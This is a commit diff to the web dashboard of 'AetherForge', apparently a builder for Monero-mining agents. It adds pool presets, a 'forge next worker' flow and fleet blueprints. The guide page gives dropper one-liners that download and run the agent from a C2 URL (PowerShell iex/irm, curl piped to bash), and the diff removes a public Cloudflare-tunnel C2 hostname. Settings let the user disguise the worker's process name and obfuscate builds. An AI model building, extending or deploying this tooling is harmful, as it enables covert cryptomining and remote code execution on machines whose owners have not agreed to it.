Add pool presets, operator bake-ins, and USB pack improvements
- Pool preset checkboxes with failover in Calibrate and Forge - Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt - USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
This commit is contained in:
@@ -59,6 +59,7 @@ describe('BuilderPage', () => {
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
cleanup();
|
||||
});
|
||||
|
||||
@@ -115,6 +116,34 @@ describe('BuilderPage', () => {
|
||||
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('offers forge-next-worker after a successful build', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
||||
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
|
||||
expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
|
||||
expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
|
||||
});
|
||||
|
||||
it('shows fleet blueprint save prompt after first successful forge', async () => {
|
||||
const promptMock = vi.fn().mockReturnValue('fleet-default');
|
||||
vi.stubGlobal('prompt', promptMock);
|
||||
const saveSpy = vi.spyOn(api, 'saveBlueprint');
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
||||
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
|
||||
await waitFor(() => {
|
||||
expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
|
||||
expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
|
||||
});
|
||||
});
|
||||
|
||||
it('blocks forge when preflight has errors (empty wallet)', async () => {
|
||||
renderBuilder();
|
||||
const wallet = await screen.findByDisplayValue(/^4A+/);
|
||||
|
||||
@@ -5,7 +5,15 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||
import {
|
||||
forgeDefaultsFromServerSmart,
|
||||
applySmartForgeDefaults,
|
||||
RECOMMENDED_DEFAULTS_BLURB,
|
||||
suggestWorkerName,
|
||||
processNameForWorker,
|
||||
} from '../help/forgeSmartDefaults';
|
||||
import { getSetupStatus } from '../help/setupStatus';
|
||||
import SetupBanner from '../components/SetupBanner';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
@@ -21,6 +29,7 @@ import {
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -121,7 +130,10 @@ export default function BuilderPage() {
|
||||
const cancelTokenRef = useRef<string>('');
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
|
||||
const forgedThisSessionRef = useRef(false);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
@@ -197,6 +209,7 @@ export default function BuilderPage() {
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||
.then(([config, info, builds]) => {
|
||||
setCalibrateConfig(config);
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
@@ -235,7 +248,40 @@ export default function BuilderPage() {
|
||||
setStage('Build complete!', 100);
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
// No auto-download — user downloads from the strip below or Build Manager page
|
||||
if (!forgedThisSessionRef.current) {
|
||||
forgedThisSessionRef.current = true;
|
||||
setShowBlueprintOffer(true);
|
||||
}
|
||||
};
|
||||
|
||||
const handleForgeNextWorker = () => {
|
||||
if (!form) return;
|
||||
const name = suggestWorkerName([
|
||||
...recentBuilds,
|
||||
{ worker_name: form.worker_name } as BuildRecord,
|
||||
]);
|
||||
setForm({
|
||||
...form,
|
||||
worker_name: name,
|
||||
process_name: processNameForWorker(name),
|
||||
});
|
||||
setLastBuild(null);
|
||||
setError('');
|
||||
};
|
||||
|
||||
const handleSaveFleetBlueprint = async () => {
|
||||
if (!form) return;
|
||||
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
|
||||
if (!name || !name.trim()) return;
|
||||
setBlueprintMsg('');
|
||||
try {
|
||||
const result = await api.saveBlueprint(name.trim(), form);
|
||||
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
|
||||
setShowBlueprintOffer(false);
|
||||
setTimeout(() => setBlueprintMsg(''), 4000);
|
||||
} catch (err: unknown) {
|
||||
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
@@ -696,9 +742,11 @@ export default function BuilderPage() {
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<SetupBanner status={setupStatus} />
|
||||
{/* Hidden file input for importing blueprint .json files */}
|
||||
<input
|
||||
type="file"
|
||||
@@ -915,10 +963,11 @@ export default function BuilderPage() {
|
||||
/>
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.worker_name} />
|
||||
</div>
|
||||
<input
|
||||
id="forge-worker-name"
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||||
@@ -1035,6 +1084,39 @@ export default function BuilderPage() {
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Mining Pools"
|
||||
badge="baked"
|
||||
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
|
||||
/>
|
||||
<PoolPresetPicker
|
||||
host={form.pool_host}
|
||||
port={form.pool_port}
|
||||
tls={form.pool_tls}
|
||||
pass={form.pool_pass || 'x'}
|
||||
backups={form.backup_pools}
|
||||
showManualFields={!simpleMode}
|
||||
onChange={(next) => {
|
||||
updateField('pool_host', next.pool_host);
|
||||
updateField('pool_port', next.pool_port);
|
||||
updateField('pool_tls', next.pool_tls);
|
||||
updateField('backup_pools', next.backup_pools);
|
||||
}}
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
@@ -1156,119 +1238,6 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
badge="baked"
|
||||
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={form.pool_host}
|
||||
onChange={(e) => updateField('pool_host', e.target.value)}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={form.pool_port}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.pool_tls}
|
||||
onChange={(e) => updateField('pool_tls', e.target.checked)}
|
||||
/>
|
||||
<span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
|
||||
{/* ── Backup pools (advanced) ──────────────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-group">
|
||||
<label className="label">
|
||||
Backup Pools
|
||||
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||
(failover if the primary pool is unreachable)
|
||||
</span>
|
||||
</label>
|
||||
{(form.backup_pools ?? []).map((bp, i) => (
|
||||
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.supportxmr.com"
|
||||
style={{ flex: '3 1 140px' }}
|
||||
value={bp.host}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], host: e.target.value };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
placeholder="3333"
|
||||
style={{ flex: '1 1 70px' }}
|
||||
min={1} max={65535}
|
||||
value={bp.port || ''}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
|
||||
<input type="checkbox" checked={!!bp.tls}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], tls: e.target.checked };
|
||||
updateField('backup_pools', pools);
|
||||
}} />
|
||||
TLS
|
||||
</label>
|
||||
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||
onClick={() => {
|
||||
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
|
||||
updateField('backup_pools', pools);
|
||||
}}>✕</button>
|
||||
</div>
|
||||
))}
|
||||
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
|
||||
+ Add backup pool
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
@@ -2080,6 +2049,22 @@ export default function BuilderPage() {
|
||||
</DownloadButton>
|
||||
) : null
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={handleForgeNextWorker}
|
||||
>
|
||||
Forge next worker
|
||||
</button>
|
||||
{showBlueprintOffer && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={handleSaveFleetBlueprint}
|
||||
>
|
||||
Save as fleet blueprint
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
|
||||
@@ -2,7 +2,9 @@ import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import type { Share } from '../types';
|
||||
import type { Share, ServerConfig } from '../types';
|
||||
import { getSetupStatus } from '../help/setupStatus';
|
||||
import SetupBanner from '../components/SetupBanner';
|
||||
import GaugeRing from '../components/Charts/GaugeRing';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||
@@ -65,6 +67,7 @@ export default function DashboardPage() {
|
||||
try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; }
|
||||
});
|
||||
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
|
||||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||||
|
||||
const toggleAdvanced = () =>
|
||||
setAdvancedMode((prev) => {
|
||||
@@ -78,6 +81,7 @@ export default function DashboardPage() {
|
||||
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
||||
api.getConfig()
|
||||
.then((cfg) => {
|
||||
setCalibrateConfig(cfg);
|
||||
const s = cfg.server?.dashboard_subtitle?.trim();
|
||||
if (s) setSubtitle(s);
|
||||
})
|
||||
@@ -237,8 +241,11 @@ export default function DashboardPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<SetupBanner status={setupStatus} />
|
||||
<AlertBanner alerts={alerts} />
|
||||
|
||||
{/* Fleet Health — always above the fold */}
|
||||
|
||||
@@ -50,35 +50,24 @@ function StepCard({ step }: { step: CheatStep }) {
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — portable self-configuring setup */
|
||||
/** ASCII topology diagram — home LAN control deck */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ USB / Portable Machine (any network) │',
|
||||
' │ Control PC (USB portable or dev install) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat │ │',
|
||||
' │ │ │ │',
|
||||
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
|
||||
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
|
||||
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
|
||||
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
|
||||
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ │ Dashboard: http://localhost:8989 │ │',
|
||||
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' │ │ localhost │',
|
||||
' │ ┌─────────────┴──────────────┐ │',
|
||||
' │ │ cloudflared named tunnel │ │',
|
||||
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
|
||||
' │ └─────────────────────────────┘ │ │',
|
||||
' └────────────────────────────────────────────────────────────────────┘ ',
|
||||
' │',
|
||||
' https://killa.thetempleofdoom.com (permanent) │',
|
||||
' │',
|
||||
' ┌───────────────┬───────────────┐ │',
|
||||
' ▼ ▼ ▼ │',
|
||||
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
|
||||
' any network any network any network',
|
||||
' baked C2 URL baked C2 URL baked C2 URL',
|
||||
' └────────────────────────────│─────────────────────────────────────────┘',
|
||||
' │ LAN http://192.168.x.x:8989',
|
||||
' ┌────────────────┼────────────────┐',
|
||||
' ▼ ▼ ▼',
|
||||
' [Worker PC] [Worker PC] [Worker PC]',
|
||||
' forged agent forged agent forged agent',
|
||||
' phones home phones home phones home',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
@@ -116,31 +105,30 @@ export default function GuidePage() {
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> — it does not need to know about Cloudflare.
|
||||
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
|
||||
Agents connect to the Cloudflare tunnel URL baked at Forge time.
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
|
||||
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
|
||||
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>How it works on any machine</h4>
|
||||
<h4>Home LAN setup</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
|
||||
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
|
||||
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
|
||||
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
|
||||
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
|
||||
<li>
|
||||
<Link to="/settings" className="guide-link">Calibrate</Link> → Use detected LAN → Use best defaults → Save
|
||||
</li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
|
||||
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
|
||||
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
|
||||
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# One-time setup (any machine, done once):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
|
||||
|
||||
# After that — just run:
|
||||
LAUNCH.bat`} />
|
||||
<CodeBlock code={`# Typical flow:
|
||||
LAUNCH.bat
|
||||
# Browser: http://localhost:8989
|
||||
# Calibrate public URL: http://192.168.1.50:8989
|
||||
# Forge control endpoint: same LAN URL`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
@@ -161,26 +149,27 @@ LAUNCH.bat`} />
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — replace the host with your
|
||||
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
|
||||
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
|
||||
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
|
||||
https://killa.thetempleofdoom.com/get?os=linux
|
||||
https://killa.thetempleofdoom.com/get`} />
|
||||
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
|
||||
http://192.168.1.50:8989/get?os=linux
|
||||
http://192.168.1.50:8989/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
|
||||
@@ -94,7 +94,7 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(publicUrlInput.value).toBe('');
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
|
||||
expect(
|
||||
await screen.findByText('Best defaults applied to the form — click Save Calibration to keep them.')
|
||||
await screen.findByText(/Best defaults applied.*Save Calibration/i)
|
||||
).toBeInTheDocument();
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
|
||||
});
|
||||
|
||||
@@ -2,7 +2,15 @@ import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import type { ServerConfig } from '../types';
|
||||
import {
|
||||
DEFAULT_PRESET_IDS,
|
||||
orderedPoolsFromSelection,
|
||||
applyPoolsToForgeFields,
|
||||
} from '../help/poolPresets';
|
||||
import { looksLikeXMRWallet } from '../help/forgeValidation';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import type { BackupPool } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -89,6 +97,17 @@ export default function SettingsPage() {
|
||||
|
||||
const handleSave = async () => {
|
||||
if (!config) return;
|
||||
const wallet = config.wallet.address?.trim() ?? '';
|
||||
if (wallet && !looksLikeXMRWallet(wallet)) {
|
||||
const strict = config.server?.strict_wallet_validation ?? false;
|
||||
if (strict) {
|
||||
setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.');
|
||||
return;
|
||||
}
|
||||
if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
setSaving(true);
|
||||
setSaveMessage('');
|
||||
try {
|
||||
@@ -272,10 +291,26 @@ export default function SettingsPage() {
|
||||
updateField('server.open_firewall_on_start', true);
|
||||
updateField('server.obfuscate_default', false);
|
||||
updateField('server.sign_enabled', false);
|
||||
const pools = orderedPoolsFromSelection(
|
||||
[...DEFAULT_PRESET_IDS],
|
||||
config.pool.password || 'x'
|
||||
);
|
||||
const poolFields = applyPoolsToForgeFields(pools);
|
||||
updateField('pool.host', poolFields.pool_host);
|
||||
updateField('pool.port', poolFields.pool_port);
|
||||
updateField('pool.use_tls', poolFields.pool_tls);
|
||||
updateField(
|
||||
'pool.backup_pools',
|
||||
poolFields.backup_pools.map((bp) => ({
|
||||
host: bp.host,
|
||||
port: bp.port,
|
||||
use_tls: bp.tls,
|
||||
}))
|
||||
);
|
||||
if (!config.wallet.address?.trim()) {
|
||||
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||||
setSaveMessage('TLS pool presets + LAN URL applied — set your Monero wallet, then Save Calibration.');
|
||||
} else {
|
||||
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||||
setSaveMessage('Best defaults applied (LAN URL + TLS pool presets) — click Save Calibration to keep them.');
|
||||
}
|
||||
}}
|
||||
>
|
||||
@@ -335,26 +370,29 @@ export default function SettingsPage() {
|
||||
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<h2 className="font-display">Upstream Pool</h2>
|
||||
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-pool-host" className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input id="cfg-pool-host" type="text" className="input" value={config.pool.host}
|
||||
onChange={(e) => updateField('pool.host', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-pool-port" className="label">Port</label>
|
||||
<input id="cfg-pool-port" type="number" className="input" value={config.pool.port}
|
||||
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
|
||||
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
|
||||
<span>Use TLS</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own — unreachable pools are skipped automatically.</p>
|
||||
<PoolPresetPicker
|
||||
host={config.pool.host}
|
||||
port={config.pool.port}
|
||||
tls={config.pool.use_tls}
|
||||
pass={config.pool.password || 'x'}
|
||||
backups={(config.pool.backup_pools ?? []).map(
|
||||
(bp): BackupPool => ({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' })
|
||||
)}
|
||||
onChange={(next) => {
|
||||
updateField('pool.host', next.pool_host);
|
||||
updateField('pool.port', next.pool_port);
|
||||
updateField('pool.use_tls', next.pool_tls);
|
||||
updateField(
|
||||
'pool.backup_pools',
|
||||
(next.backup_pools ?? []).map((bp) => ({
|
||||
host: bp.host,
|
||||
port: bp.port,
|
||||
use_tls: bp.tls,
|
||||
}))
|
||||
);
|
||||
}}
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
|
||||
<input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}
|
||||
|
||||
Reference in New Issue
Block a user